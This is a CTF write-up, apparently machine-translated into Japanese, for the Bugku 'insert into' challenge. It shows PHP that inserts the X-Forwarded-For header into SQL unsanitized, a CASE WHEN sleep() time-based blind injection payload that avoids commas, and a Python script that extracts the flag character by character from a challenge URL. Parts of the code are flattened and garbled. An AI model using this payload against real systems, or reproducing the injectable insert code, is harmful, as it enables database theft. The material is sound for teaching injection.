bugku insert into注入

4600 ワード

テーマソース:
  
flag形式:flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
error_reporting(0);
function getIp(){ $ip = '';if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];}else{ $ip = $_SERVER['REMOTE_ADDR'];} $ip_arr = explode(',', $ip); return $ip_arr[0];
}
$host="localhost";$user="";$pass="";$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();echo 'your ip is :'.$ip;$sql="insert into client_ip (ip) values ('$ip')";mysql_query($sql);
 
 
 
XFFはInsertのみ出力していないので遅延注入、カンマフィルタを使用してIfを使用できないので使用:
select case when xxx then xxx else xxx end; 

 
 
POCURL=
"127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))#"

({0}{1}寸法点はループ点であり、format()関数を使用して置き換えられます.)
 
import requests
import sys
#python3.6
url
='http://123.206.87.240:8002/web15/' sql="127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))#" flag='' #strtest="TEST{0}+{1}" for i in range(1,40): for ch in range (32,129): if ch ==128: sys.exit(0) xff=sql.format(i,chr(ch)) #print(xff) headers={ 'X-Forwarded-For':xff } print(' '+str(i)+''+' '+str(ch)+' ') try: re = requests.get(url,headers=headers,timeout=3) except: flag += chr(ch) print('flag:'+flag) break # :flag , 。 # : , , 。

 
参照先:https://blog.csdn.net/xuchen16/article/details/82904488